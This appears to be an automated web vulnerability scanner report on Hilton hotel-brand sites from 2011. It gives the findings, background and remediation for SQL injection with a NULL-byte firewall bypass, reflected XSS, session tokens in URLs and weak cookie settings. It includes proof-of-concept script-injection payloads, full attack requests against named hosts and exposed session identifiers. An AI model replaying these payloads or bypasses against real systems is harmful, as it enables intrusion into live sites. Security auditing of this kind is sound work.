The ClrSCD cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the ClrSCD cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Issue background
SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.
Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.
Remediation background
The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.
You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:
One common defence is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defence is designed to prevent malformed data from terminating the string in which it is inserted. However, if the data being incorporated into queries is numeric, then the defence may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defence to be bypassed.
Another often cited defence is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.
HTTP/1.1 200 OK Server: Apache Content-Language: en-US X-Powered-By: Servlet/2.5 JSP/2.1 Cache-Control: max-age=86400 Expires: Tue, 04 Oct 2011 12:54:08 GMT Content-Type: text/html; charset=UTF-8 Vary: Accept-Encoding Content-Length: 7567 Date: Mon, 03 Oct 2011 12:54:12 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml ...[SNIP]... <![CDATA[ rb={"error_207":"Please enter an HHonors number or a username at least 4 characters long.","res_limitSelections":"res_limitSelections","error_208":"Please enter a PIN or Password at least 4 characters long.","da ...[SNIP]...
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the arrivalDate request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1b177"><script>alert(1)</script>8f5e156a068 was submitted in the arrivalDate parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
The value of the departureDate request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a2388"><script>alert(1)</script>90bd9717f9c was submitted in the departureDate parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
HTTP/1.1 200 OK Server: Apache Cache-Control: no-cache Cache-Control: no-store Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Language: en-US X-Powered-By: Servlet/2.5 JSP/2.1 Content-Type: text/html; charset=UTF-8 Vary: Accept-Encoding Content-Length: 44572 Date: Mon, 03 Oct 2011 12:56:12 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <?xml version="1.0" encoding="UTF-8"?> ...[SNIP]... <input id="checkout" name="departureDate" class="text date" value="04 Oct 2011" type="text" value="a2388"><script>alert(1)</script>90bd9717f9c" maxlength="11"/> ...[SNIP]...
2.3. http://www3.hilton.com/es/hi/doxch.htm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www3.hilton.com
Path:
/es/hi/doxch.htm
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a39f0"><script>alert(1)</script>2f0137ad299 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /es/hi/doxch.htm?dst=http://PFS-HI/es/hi/index.do&a39f0"><script>alert(1)</script>2f0137ad299=1 HTTP/1.1 Host: www3.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 500 Internal Server Error Server: Apache Content-Length: 7677 Content-Language: en Cache-Control: max-age=86400 Expires: Tue, 04 Oct 2011 13:02:57 GMT X-Cnection: close Content-Type: text/html; charset=UTF-8 Date: Mon, 03 Oct 2011 13:03:07 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xht ...[SNIP]... <a href="/es/hi/transition/interim/index.htm?ori_url=%2Fes%2Fhi%2Fdoxch.htm&ori-a39f0"><script>alert(1)</script>2f0137ad299=1&ori-dst=http%3A%2F%2FPFS-HI%2Fes%2Fhi%2Findex.do&dst_url=http%3A%2F%2FATG-HI%2Fen%2Fhi%2Fpromotions%2Findex.jhtml&dst-it=Tnav%2CSP"> ...[SNIP]...
2.4. http://www3.hilton.com/fr/hi/doxch.htm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www3.hilton.com
Path:
/fr/hi/doxch.htm
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9af34"><script>alert(1)</script>0837ca8ad61 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /fr/hi/doxch.htm?dst=http://PFS-HI/fr/hi/index.do&9af34"><script>alert(1)</script>0837ca8ad61=1 HTTP/1.1 Host: www3.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 500 Internal Server Error Server: Apache Content-Length: 7685 Content-Language: en Cache-Control: max-age=86400 Expires: Tue, 04 Oct 2011 13:02:57 GMT X-Cnection: close Content-Type: text/html; charset=UTF-8 Date: Mon, 03 Oct 2011 13:03:07 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xht ...[SNIP]... <a href="/fr/hi/transition/interim/index.htm?ori_url=%2Ffr%2Fhi%2Fdoxch.htm&ori-dst=http%3A%2F%2FPFS-HI%2Ffr%2Fhi%2Findex.do&ori-9af34"><script>alert(1)</script>0837ca8ad61=1&dst_url=http%3A%2F%2FATG-HI%2Fen%2Fhi%2Fpromotions%2Findex.jhtml&dst-it=Tnav%2CSP"> ...[SNIP]...
3. Session token in URLpreviousnext There are 12 instances of this issue:
Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.
Issue remediation
The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.
GET /en_US/ch/doxch.htm?dst=http://PFS-CH/en/ch/home.do HTTP/1.1 Host: www3.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Moved Temporarily Server: Apache Location: http://conradhotels1.hilton.com/en/ch/home.do;jsessionid=4E9B21AE664381D1B53DE8378483FB39.etc13?xch=1041801158,QGJVTJwfpmh09MLv8vspfWvtjhcJbMDlLfc1VvRs9zwlB2KJGl0Q!672724623!1317646367149& X-Powered-By: Servlet/2.5 JSP/2.1 Cache-Control: max-age=86400 Expires: Tue, 04 Oct 2011 13:02:07 GMT Content-Type: text/html Date: Mon, 03 Oct 2011 13:02:17 GMT Connection: close Connection: Transfer-Encoding Content-Length: 587
<html><head><title>302 Moved Temporarily</title></head> <body bgcolor="#FFFFFF"> <p>This document you requested has moved temporarily.</p> <p>It's now at <a href="http://conradhotels1.hilton.com/en/ch/home.do;jsessionid=4E9B21AE664381D1B53DE8378483FB39.etc13?xch=1041801158,QGJVTJwfpmh09MLv8vspfWvtjhcJbMDlLfc1VvRs9zwlB2KJGl0Q!672724623!1317646367149&">http://conradhotels1.hilton.com/en/ch/home.do;jsessionid=4E9B21AE664381D1B53DE8378483FB39.etc13?xch=1041801158,QGJVTJwfpmh09MLv8vspfWvtjhcJbMDlLfc1VvRs9zwlB2KJGl0Q!672724623!1317646367149&</a> ...[SNIP]...
GET /en_US/dt/doxch.htm?dst=http://PFS-DT/en_US/dt/hotel/BOSCODT/index.do HTTP/1.1 Host: www3.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Moved Temporarily Server: Apache Location: http://doubletree1.hilton.com/en_US/dt/hotel/BOSCODT/index.do;jsessionid=4E9B21AE664381D1B53DE8378483FB39.etc13?xch=1041800734,QGJVTJwfpmh09MLv8vspfWvtjhcJbMDlLfc1VvRs9zwlB2KJGl0Q!672724623!1317646367149& X-Powered-By: Servlet/2.5 JSP/2.1 Cache-Control: max-age=86400 Expires: Tue, 04 Oct 2011 13:01:51 GMT Content-Type: text/html Date: Mon, 03 Oct 2011 13:02:02 GMT Connection: close Connection: Transfer-Encoding Content-Length: 619
<html><head><title>302 Moved Temporarily</title></head> <body bgcolor="#FFFFFF"> <p>This document you requested has moved temporarily.</p> <p>It's now at <a href="http://doubletree1.hilton.com/en_US/dt/hotel/BOSCODT/index.do;jsessionid=4E9B21AE664381D1B53DE8378483FB39.etc13?xch=1041800734,QGJVTJwfpmh09MLv8vspfWvtjhcJbMDlLfc1VvRs9zwlB2KJGl0Q!672724623!1317646367149&">http://doubletree1.hilton.com/en_US/dt/hotel/BOSCODT/index.do;jsessionid=4E9B21AE664381D1B53DE8378483FB39.etc13?xch=1041800734,QGJVTJwfpmh09MLv8vspfWvtjhcJbMDlLfc1VvRs9zwlB2KJGl0Q!672724623!1317646 ...[SNIP]...
GET /en_US/es/doxch.htm?dst=http://PFS-ES/en_US/es/hotel/BOSAPES/index.do HTTP/1.1 Host: www3.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Moved Temporarily Server: Apache Location: http://embassysuites1.hilton.com/en_US/es/hotel/BOSAPES/index.do;jsessionid=4E9B21AE664381D1B53DE8378483FB39.etc13?xch=1041800460,QGJVTJwfpmh09MLv8vspfWvtjhcJbMDlLfc1VvRs9zwlB2KJGl0Q!672724623!1317646367149& X-Powered-By: Servlet/2.5 JSP/2.1 Cache-Control: max-age=86400 Expires: Tue, 04 Oct 2011 13:01:41 GMT Content-Type: text/html Date: Mon, 03 Oct 2011 13:01:51 GMT Connection: close Connection: Transfer-Encoding Content-Length: 625
<html><head><title>302 Moved Temporarily</title></head> <body bgcolor="#FFFFFF"> <p>This document you requested has moved temporarily.</p> <p>It's now at <a href="http://embassysuites1.hilton.com/en_US/es/hotel/BOSAPES/index.do;jsessionid=4E9B21AE664381D1B53DE8378483FB39.etc13?xch=1041800460,QGJVTJwfpmh09MLv8vspfWvtjhcJbMDlLfc1VvRs9zwlB2KJGl0Q!672724623!1317646367149&">http://embassysuites1.hilton.com/en_US/es/hotel/BOSAPES/index.do;jsessionid=4E9B21AE664381D1B53DE8378483FB39.etc13?xch=1041800460,QGJVTJwfpmh09MLv8vspfWvtjhcJbMDlLfc1VvRs9zwlB2KJGl0Q!672724623!1317 ...[SNIP]...
GET /en_US/gi/doxch.htm?dst=http://PFS-GI/en_US/gi/index.do HTTP/1.1 Host: www3.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Moved Temporarily Server: Apache Location: http://hiltongardeninn1.hilton.com/en_US/gi/index.do;jsessionid=4E9B21AE664381D1B53DE8378483FB39.etc13?xch=1041801260,QGJVTJwfpmh09MLv8vspfWvtjhcJbMDlLfc1VvRs9zwlB2KJGl0Q!672724623!1317646367149& X-Powered-By: Servlet/2.5 JSP/2.1 Cache-Control: max-age=86400 Expires: Tue, 04 Oct 2011 13:02:10 GMT Content-Type: text/html Date: Mon, 03 Oct 2011 13:02:20 GMT Connection: close Connection: Transfer-Encoding Content-Length: 601
<html><head><title>302 Moved Temporarily</title></head> <body bgcolor="#FFFFFF"> <p>This document you requested has moved temporarily.</p> <p>It's now at <a href="http://hiltongardeninn1.hilton.com/en_US/gi/index.do;jsessionid=4E9B21AE664381D1B53DE8378483FB39.etc13?xch=1041801260,QGJVTJwfpmh09MLv8vspfWvtjhcJbMDlLfc1VvRs9zwlB2KJGl0Q!672724623!1317646367149&">http://hiltongardeninn1.hilton.com/en_US/gi/index.do;jsessionid=4E9B21AE664381D1B53DE8378483FB39.etc13?xch=1041801260,QGJVTJwfpmh09MLv8vspfWvtjhcJbMDlLfc1VvRs9zwlB2KJGl0Q!672724623!1317646367149&am ...[SNIP]...
GET /en_US/hh/doxch.htm?dst=http://PFS-HH/en_US/hh/home_index.do HTTP/1.1 Host: www3.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Moved Temporarily Server: Apache Location: http://hhonors1.hilton.com/en_US/hh/home_index.do;jsessionid=4E9B21AE664381D1B53DE8378483FB39.etc13?xch=1041800177,QGJVTJwfpmh09MLv8vspfWvtjhcJbMDlLfc1VvRs9zwlB2KJGl0Q!672724623!1317646367149& X-Powered-By: Servlet/2.5 JSP/2.1 Cache-Control: max-age=86400 Expires: Tue, 04 Oct 2011 13:01:31 GMT Content-Type: text/html Date: Mon, 03 Oct 2011 13:01:41 GMT Connection: close Connection: Transfer-Encoding Content-Length: 595
<html><head><title>302 Moved Temporarily</title></head> <body bgcolor="#FFFFFF"> <p>This document you requested has moved temporarily.</p> <p>It's now at <a href="http://hhonors1.hilton.com/en_US/hh/home_index.do;jsessionid=4E9B21AE664381D1B53DE8378483FB39.etc13?xch=1041800177,QGJVTJwfpmh09MLv8vspfWvtjhcJbMDlLfc1VvRs9zwlB2KJGl0Q!672724623!1317646367149&">http://hhonors1.hilton.com/en_US/hh/home_index.do;jsessionid=4E9B21AE664381D1B53DE8378483FB39.etc13?xch=1041800177,QGJVTJwfpmh09MLv8vspfWvtjhcJbMDlLfc1VvRs9zwlB2KJGl0Q!672724623!1317646367149&< ...[SNIP]...
HTTP/1.1 302 Moved Temporarily Server: Apache Location: http://www1.hilton.com/en_US/hi/hotel/BOSLHHH/index.do;jsessionid=4E9B21AE664381D1B53DE8378483FB39.etc13?xch=1041789623,QGJVTJwfpmh09MLv8vspfWvtjhcJbMDlLfc1VvRs9zwlB2KJGl0Q!672724623!1317646367149& X-Powered-By: Servlet/2.5 JSP/2.1 Cache-Control: max-age=86400 Expires: Tue, 04 Oct 2011 12:53:29 GMT Content-Type: text/html Date: Mon, 03 Oct 2011 12:53:39 GMT Connection: close Vary: Accept-Encoding Connection: Transfer-Encoding Content-Length: 605
<html><head><title>302 Moved Temporarily</title></head> <body bgcolor="#FFFFFF"> <p>This document you requested has moved temporarily.</p> <p>It's now at <a href="http://www1.hilton.com/en_US/hi/hotel/BOSLHHH/index.do;jsessionid=4E9B21AE664381D1B53DE8378483FB39.etc13?xch=1041789623,QGJVTJwfpmh09MLv8vspfWvtjhcJbMDlLfc1VvRs9zwlB2KJGl0Q!672724623!1317646367149&">http://www1.hilton.com/en_US/hi/hotel/BOSLHHH/index.do;jsessionid=4E9B21AE664381D1B53DE8378483FB39.etc13?xch=1041789623,QGJVTJwfpmh09MLv8vspfWvtjhcJbMDlLfc1VvRs9zwlB2KJGl0Q!672724623!1317646367149& ...[SNIP]...
GET /en_US/hp/doxch.htm?dst=http://PFS-HP/en_US/hp/index.do HTTP/1.1 Host: www3.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Moved Temporarily Server: Apache Location: http://hamptoninn1.hilton.com/en_US/hp/index.do;jsessionid=4E9B21AE664381D1B53DE8378483FB39.etc13?xch=1041800600,QGJVTJwfpmh09MLv8vspfWvtjhcJbMDlLfc1VvRs9zwlB2KJGl0Q!672724623!1317646367149& X-Powered-By: Servlet/2.5 JSP/2.1 Cache-Control: max-age=86400 Expires: Tue, 04 Oct 2011 13:01:47 GMT Content-Type: text/html Date: Mon, 03 Oct 2011 13:01:57 GMT Connection: close Connection: Transfer-Encoding Content-Length: 591
<html><head><title>302 Moved Temporarily</title></head> <body bgcolor="#FFFFFF"> <p>This document you requested has moved temporarily.</p> <p>It's now at <a href="http://hamptoninn1.hilton.com/en_US/hp/index.do;jsessionid=4E9B21AE664381D1B53DE8378483FB39.etc13?xch=1041800600,QGJVTJwfpmh09MLv8vspfWvtjhcJbMDlLfc1VvRs9zwlB2KJGl0Q!672724623!1317646367149&">http://hamptoninn1.hilton.com/en_US/hp/index.do;jsessionid=4E9B21AE664381D1B53DE8378483FB39.etc13?xch=1041800600,QGJVTJwfpmh09MLv8vspfWvtjhcJbMDlLfc1VvRs9zwlB2KJGl0Q!672724623!1317646367149&</a ...[SNIP]...
GET /en_US/ht/doxch.htm?dst=http://PFS-HT/en_US/ht/index.do HTTP/1.1 Host: www3.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Moved Temporarily Server: Apache Location: http://home2suites1.hilton.com/en_US/ht/index.do;jsessionid=4E9B21AE664381D1B53DE8378483FB39.etc13?xch=1041801354,QGJVTJwfpmh09MLv8vspfWvtjhcJbMDlLfc1VvRs9zwlB2KJGl0Q!672724623!1317646367149& X-Powered-By: Servlet/2.5 JSP/2.1 Cache-Control: max-age=86400 Expires: Tue, 04 Oct 2011 13:02:14 GMT Content-Type: text/html Date: Mon, 03 Oct 2011 13:02:24 GMT Connection: close Connection: Transfer-Encoding Content-Length: 593
<html><head><title>302 Moved Temporarily</title></head> <body bgcolor="#FFFFFF"> <p>This document you requested has moved temporarily.</p> <p>It's now at <a href="http://home2suites1.hilton.com/en_US/ht/index.do;jsessionid=4E9B21AE664381D1B53DE8378483FB39.etc13?xch=1041801354,QGJVTJwfpmh09MLv8vspfWvtjhcJbMDlLfc1VvRs9zwlB2KJGl0Q!672724623!1317646367149&">http://home2suites1.hilton.com/en_US/ht/index.do;jsessionid=4E9B21AE664381D1B53DE8378483FB39.etc13?xch=1041801354,QGJVTJwfpmh09MLv8vspfWvtjhcJbMDlLfc1VvRs9zwlB2KJGl0Q!672724623!1317646367149&</ ...[SNIP]...
GET /en_US/hw/doxch.htm?dst=http://PFS-HW/en_US/hw/hotel/BOSARHW/index.do HTTP/1.1 Host: www3.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Moved Temporarily Server: Apache Location: http://homewoodsuites1.hilton.com/en_US/hw/hotel/BOSARHW/index.do;jsessionid=4E9B21AE664381D1B53DE8378483FB39.etc13?xch=1041800879,QGJVTJwfpmh09MLv8vspfWvtjhcJbMDlLfc1VvRs9zwlB2KJGl0Q!672724623!1317646367149& X-Powered-By: Servlet/2.5 JSP/2.1 Cache-Control: max-age=86400 Expires: Tue, 04 Oct 2011 13:01:57 GMT Content-Type: text/html Date: Mon, 03 Oct 2011 13:02:07 GMT Connection: close Connection: Transfer-Encoding Content-Length: 627
<html><head><title>302 Moved Temporarily</title></head> <body bgcolor="#FFFFFF"> <p>This document you requested has moved temporarily.</p> <p>It's now at <a href="http://homewoodsuites1.hilton.com/en_US/hw/hotel/BOSARHW/index.do;jsessionid=4E9B21AE664381D1B53DE8378483FB39.etc13?xch=1041800879,QGJVTJwfpmh09MLv8vspfWvtjhcJbMDlLfc1VvRs9zwlB2KJGl0Q!672724623!1317646367149&">http://homewoodsuites1.hilton.com/en_US/hw/hotel/BOSARHW/index.do;jsessionid=4E9B21AE664381D1B53DE8378483FB39.etc13?xch=1041800879,QGJVTJwfpmh09MLv8vspfWvtjhcJbMDlLfc1VvRs9zwlB2KJGl0Q!672724623!131 ...[SNIP]...
GET /en_US/wa/doxch.htm?dst=http://PFS-WA/ HTTP/1.1 Host: www3.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Moved Temporarily Server: Apache Location: http://waldorfastoria.com/;jsessionid=4E9B21AE664381D1B53DE8378483FB39.etc13?xch=1041801034,QGJVTJwfpmh09MLv8vspfWvtjhcJbMDlLfc1VvRs9zwlB2KJGl0Q!672724623!1317646367149& X-Powered-By: Servlet/2.5 JSP/2.1 Cache-Control: max-age=86400 Expires: Tue, 04 Oct 2011 13:02:02 GMT Content-Type: text/html Date: Mon, 03 Oct 2011 13:02:12 GMT Connection: close Connection: Transfer-Encoding Content-Length: 549
<html><head><title>302 Moved Temporarily</title></head> <body bgcolor="#FFFFFF"> <p>This document you requested has moved temporarily.</p> <p>It's now at <a href="http://waldorfastoria.com/;jsessionid=4E9B21AE664381D1B53DE8378483FB39.etc13?xch=1041801034,QGJVTJwfpmh09MLv8vspfWvtjhcJbMDlLfc1VvRs9zwlB2KJGl0Q!672724623!1317646367149&">http://waldorfastoria.com/;jsessionid=4E9B21AE664381D1B53DE8378483FB39.etc13?xch=1041801034,QGJVTJwfpmh09MLv8vspfWvtjhcJbMDlLfc1VvRs9zwlB2KJGl0Q!672724623!1317646367149&</a> ...[SNIP]...
GET /es/hi/doxch.htm?dst=http://PFS-HI/es/hi/index.do HTTP/1.1 Host: www3.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Moved Temporarily Server: Apache Location: http://www1.hilton.com/es/hi/index.do;jsessionid=4E9B21AE664381D1B53DE8378483FB39.etc13?xch=1041801562,QGJVTJwfpmh09MLv8vspfWvtjhcJbMDlLfc1VvRs9zwlB2KJGl0Q!672724623!1317646367149& X-Powered-By: Servlet/2.5 JSP/2.1 Cache-Control: max-age=86400 Expires: Tue, 04 Oct 2011 13:02:21 GMT Content-Type: text/html Date: Mon, 03 Oct 2011 13:02:31 GMT Connection: close Connection: Transfer-Encoding Content-Length: 571
<html><head><title>302 Moved Temporarily</title></head> <body bgcolor="#FFFFFF"> <p>This document you requested has moved temporarily.</p> <p>It's now at <a href="http://www1.hilton.com/es/hi/index.do;jsessionid=4E9B21AE664381D1B53DE8378483FB39.etc13?xch=1041801562,QGJVTJwfpmh09MLv8vspfWvtjhcJbMDlLfc1VvRs9zwlB2KJGl0Q!672724623!1317646367149&">http://www1.hilton.com/es/hi/index.do;jsessionid=4E9B21AE664381D1B53DE8378483FB39.etc13?xch=1041801562,QGJVTJwfpmh09MLv8vspfWvtjhcJbMDlLfc1VvRs9zwlB2KJGl0Q!672724623!1317646367149&</a> ...[SNIP]...
GET /fr/hi/doxch.htm?dst=http://PFS-HI/fr/hi/index.do HTTP/1.1 Host: www3.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Moved Temporarily Server: Apache Location: http://www1.hilton.com/fr/hi/index.do;jsessionid=4E9B21AE664381D1B53DE8378483FB39.etc13?xch=1041801668,QGJVTJwfpmh09MLv8vspfWvtjhcJbMDlLfc1VvRs9zwlB2KJGl0Q!672724623!1317646367149& X-Powered-By: Servlet/2.5 JSP/2.1 Cache-Control: max-age=86400 Expires: Tue, 04 Oct 2011 13:02:24 GMT Content-Type: text/html Date: Mon, 03 Oct 2011 13:02:34 GMT Connection: close Connection: Transfer-Encoding Content-Length: 571
<html><head><title>302 Moved Temporarily</title></head> <body bgcolor="#FFFFFF"> <p>This document you requested has moved temporarily.</p> <p>It's now at <a href="http://www1.hilton.com/fr/hi/index.do;jsessionid=4E9B21AE664381D1B53DE8378483FB39.etc13?xch=1041801668,QGJVTJwfpmh09MLv8vspfWvtjhcJbMDlLfc1VvRs9zwlB2KJGl0Q!672724623!1317646367149&">http://www1.hilton.com/fr/hi/index.do;jsessionid=4E9B21AE664381D1B53DE8378483FB39.etc13?xch=1041801668,QGJVTJwfpmh09MLv8vspfWvtjhcJbMDlLfc1VvRs9zwlB2KJGl0Q!672724623!1317646367149&</a> ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Issue background
A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.
Issue remediation
By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.
<html><head><title>302 Moved Temporarily</title></head> <body bgcolor="#FFFFFF"> <p>This document you requested has moved temporarily.</p> <p>It's now at <a href="http://www3.hilton.com/en_US/hi/se ...[SNIP]...
5. Password field with autocomplete enabledpreviousnext There are 3 instances of this issue:
Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.
The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.
Issue remediation
To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
